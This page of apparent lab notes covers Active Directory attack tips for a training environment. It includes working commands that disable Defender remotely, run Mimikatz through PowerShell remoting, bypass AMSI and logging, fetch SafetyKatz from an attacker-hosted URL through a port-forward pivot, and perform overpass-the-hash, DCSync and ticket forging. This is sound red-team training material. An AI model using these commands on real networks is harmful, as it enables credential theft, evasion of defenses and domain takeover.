search

Tips And Tricks

hashtag
Tips and Tricks

  1. SUppose we compromise a machine devsrv.dollarcorp.moneycorp.local and are local administrator on it and we need to run mimikatz on it but smb is not open so we cannot copy it drectly via share, outbound http traffic is filtered so we cannot use IEX so what can we do? in such case we can load locally loaded functions in remote machine Here after priv esc first we add our first compromised user student145 to local administrator group and RDP Group of devsrv.dollarcorp.moneycorp.local then from student145 initial machine

$sess = New-PSSession -ComputerName devsrv.dollarcorp.moneycorp.local

  • Disable defender on the remote machine 

Invoke-command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess then from student145 machine, Import-Module .\Invoke-Mimikatz.ps1
Invoke-command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sess

  1. Remember to bypass AMSI on every new user and Check the Execution policy language mode

  2. Modify Invoke-Mimikatz.ps1 script to call the function in the script itself because we can't dot source files if in constrained language mode

  3. If you have local administrator rights on other machines you can do anything including enabling rdp, enabling ps remoting, running script block to download tcp one liner reverse shell and executing it to catch reverse shell from script block and various other ways.

  4. https://github.com/Flangvik/NetLoader this can be used to load any C# binary from filepath or url, patching AMSI and unhooks ETW. 

C:\Users\Public\Loader.exe -path http://192.168.100.X/SafetyKatz.exe

  1. We also have AssemblyLoad.exe that can be used to load the Netloaderin-memory from a URL which then loads a binary from a filepathor URL. 

C:\Users\Public\AssemblyLoad.exe http://192.168.100.X/Loader.exe -path http://192.168.100.X/SafetyKatz.exe

hashtag
Port forward to bypass behaviour based detection

  1. executes port forward command on dcorp-mgmt machine where anything that is sent via 172.16.100.1 student machine's port 80 is forwarded to dcorp-mgmt's loopback address via port 8080 and anything that is sent through loopback 0.0.0.0 port 8080 is forwarded to 172.16.100.1's port 80 which is the student vm respectively. 

$null | winrs -r:dcorp-mgmt "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.1

  • Host Loader.exe via HFS on student vm and here using winrs on dcorp-mgmt machine Loader.exe will load safetykatz from http://127.0.0.1:8080/SafetyKatz.exe since port forwarding was done that anything that is sent through loopback 0.0.0.0 port 8080 is forwarded to 172.16.100.1's port 80 which is the student vm in this case

  1. OverPassThe Hash is the way to move laterally in most cases after you get credentials of users from different machines always use overpass the hash from the initial machine where you have administrative access not from the same machine where you got the hash.

  2. After over pass the hash always use invisi shell in the shell as that particular user.

  3. To copy loader or rubues or any other tool on other machine where we have administrative access.

  1. Getting http service ticket will allow for winrs and PSRemote but keep in mind to pass full domain name during winrs or ps remoting example:

  1. Creating ticket for ldap on dc will allow for dcsync.

  2. Always bypass script block logging after moving laterally to a machine

then bypass AMSI

  1. While extracting aes keys for machin account always use the last one as we may find multiple aeskeys from same account see the SID 2-1-5-18 is for system account use this.

  2. remember Use bettersafetykatz for forging tickets and Rubeus and safetykatz for over pass the hash and extracting credentials.

  3. IF we are not able to winrs or access command line using other techniques after creating golden or silver ticket in memory we can perform dcsync to extract aes hash of default administrator of moneycorp.local domain then over pass the hash

  1. then using rubeus to over pass the hash

then winrs to access the dc winrs -r:mcorp-dc cmd

  1. IF injected too many tickets certain problems may arise always logoff and logon at such cases.

  2. This error is due to applocker policy

  1. This error is due to constrained language mode

PreviousPriv Esc Trusts Across ForestNextService Tickets and Abuses

Last updated